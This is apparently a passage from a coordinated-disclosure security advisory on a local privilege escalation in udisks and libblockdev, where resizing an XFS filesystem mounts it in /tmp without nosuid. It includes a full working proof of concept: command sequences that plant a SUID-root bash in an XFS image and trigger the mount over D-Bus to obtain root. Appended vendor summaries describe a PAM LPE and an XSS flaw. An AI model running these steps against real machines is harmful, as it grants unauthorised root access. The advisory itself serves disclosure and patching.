Our initial idea, then, was to trick the udisks daemon into mounting a loop-backed filesystem without the nosuid and nodev flags, because these flags cross various layers of complex code before eventually reaching the kernel, and each of these layers parses and escapes these mount flags and options differently; for example, to mount an ntfs-3g filesystem via udisks, these flags and options are:

- first interpreted by the udisks daemon itself;

- then passed to and re-interpreted by the libblockdev;

- then passed to and re-interpreted by the libmount;

- then passed to and re-interpreted by the ntfs-3g program;

- then passed to and re-interpreted by ntfs-3g's internal libfuse;

- and finally passed to and re-interpreted by the kernel itself.

However, as we were reading the code of udisks and libblockdev, we spotted a much simpler LPE: since 2017, the udisks daemon allows an "allowactive" user to resize their filesystems; and to resize an XFS filesystem (via the xfsgrowfs program, which is installed by default on most Linux distributions) the udisks daemon calls the libblockdev, which temporarily mounts this XFS filesystem in /tmp (if it is not mounted elsewhere already) but without the nosuid and nodev flags.

Consequently, an "allowactive" attacker can simply set up a loop device that is backed by an arbitrary XFS image (which contains a SUID-root shell), then request the udisks daemon to resize this XFS filesystem (which mounts it in /tmp without the nosuid and nodev flags), and finally execute their SUID-root shell (from their XFS filesystem in /tmp) and therefore obtain full root privileges.

Proof of concept

1/ On our own attacker machine, as root, we create an XFS image that contains a SUID-root shell, and copy it to the victim machine:

------------------------------------------------------------------------ attacker# dd if=/dev/zero of=./xfs.image bs=1M count=300

attacker# mkfs.xfs ./xfs.image

attacker# mkdir ./xfs.mount

attacker# mount -t xfs ./xfs.image ./xfs.mount

attacker# cp /bin/bash ./xfs.mount

attacker# chmod 04555 ./xfs.mount/bash

attacker# umount ./xfs.mount

attacker# scp -i ided25519 ./xfs.image nobody@victim: ------------------------------------------------------------------------

2/ We log in the victim machine, and make sure that we are authenticated as an "allowactive" user (if not, it may be necessary to first exploit another LPE such as CVE-2025-6018 from this advisory):

------------------------------------------------------------------------ attacker# ssh -i ided25519 nobody@victim

victim> grep PRETTYNAME= /etc/os-release PRETTYNAME="openSUSE Leap 15.6"

victim> id uid=65534(nobody) gid=65534(nobody) groups=65534(nobody)

victim> gdbus call --system --dest org.freedesktop.login1 --object-path /org/freedesktop/login1 --method org.freedesktop.login1.Manager.CanReboot ('yes',) ------------------------------------------------------------------------

3/ We set up a loop device that is backed by our XFS image, but we first make sure that "gvfs-udisks2-volume-monitor" is not running as our user (otherwise it would automatically mount our XFS filesystem and prevent the libblockdev from mounting it itself later):

------------------------------------------------------------------------ victim> killall -KILL gvfs-udisks2-volume-monitor

victim> udisksctl loop-setup --file ./xfs.image --no-user-interaction Mapped file ./xfs.image as /dev/loop0. ------------------------------------------------------------------------

4/ We request the udisks daemon to resize our XFS filesystem, which forces the libblockdev to mount it in /tmp without the nosuid and nodev flags, but we first run a tight loop that will keep our XFS filesystem busy and prevent it from being unmounted later by the libblockdev:

------------------------------------------------------------------------ victim> while true; do /tmp/blockdev/bash -c 'sleep 10; ls -l /tmp/blockdev/bash' && break; done 2>/dev/null &

victim> gdbus call --system --dest org.freedesktop.UDisks2 --object-path /org/freedesktop/UDisks2/blockdevices/loop0 --method org.freedesktop.UDisks2.Filesystem.Resize 0 '{}' Error: GDBus.Error:org.freedesktop.UDisks2.Error.Failed: Error resizing filesystem on /dev/loop0: Failed to unmount '/dev/loop0' after resizing it: target is busy

-r-sr-xr-x. 1 root root 1406608 May 13 09:42 /tmp/blockdev.RSM842/bash ------------------------------------------------------------------------

5/ Finally, we execute our SUID-root shell (from our XFS filesystem in /tmp) and therefore obtain full root privileges:

------------------------------------------------------------------------ victim> mount ... /dev/loop0 on /tmp/blockdev.RSM842 type xfs (rw,relatime,attr2,inode64,logbufs=8,logbsize=32k,noquota)

victim> /tmp/blockdev/bash -p

victim# id uid=65534(nobody) gid=65534(nobody) euid=0(root) groups=65534(nobody) ^^^^^^^^^^^^ ------------------------------------------------------------------------

======================================================================== Acknowledgments ========================================================================

We thank SUSE (Alexander Bergmann, Thomas Blume, Valentin Lefebvre, in particular) and Red Hat (Patrick Del Bello, Marco Benatto, Tomas Bzatek, in particular) for their work on this release. We also thank the members of the linux-distros@openwall (Salvatore Bonaccorso and Nick Tait in particular) for their help with this release.

Finally, we thank Gergely Kalman for the following inspiring presentation:

https://gergelykalman.com/the-forgotten-art-of-filesystem-magic-alligatorcon-2024-slides.html

======================================================================== Timeline ========================================================================

2025-05-14: We sent a draft of our advisory to SUSE (security@suse) and Red Hat (secalert@redhat).

2025-06-09: We sent a draft of our advisory, and SUSE's and Red Hat's patches, to the linux-distros@openwall.

2025-06-17: Coordinated Release Date (16:00 UTC).

End of life: 7/31/2031

A Local Privilege Escalation (LPE) vulnerability has been discovered in pam-config within Linux Pluggable Authentication Modules (PAM). This flaw allows an unprivileged local attacker (for example, a user logged in via SSH) to obtain the elevated privileges normally reserved for a physically present, "allowactive" user. The highest risk is that the attacker can then perform all allowactive yes Polkit actions, which are typically restricted to console users, potentially gaining unauthorized control over system configurations, services, or other sensitive operations.

A Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) vulnerability in  spacewalk-java allows execution of arbitrary Javascript code on users machines.This issue affects Container suse/manager/5.0/x8664/server:5.0.4.7.19.1: from ? before 5.0.24-150600.3.25.1; SUSE Manager Server Module 4.3: from ? before 4.3.85-150400.3.105.3.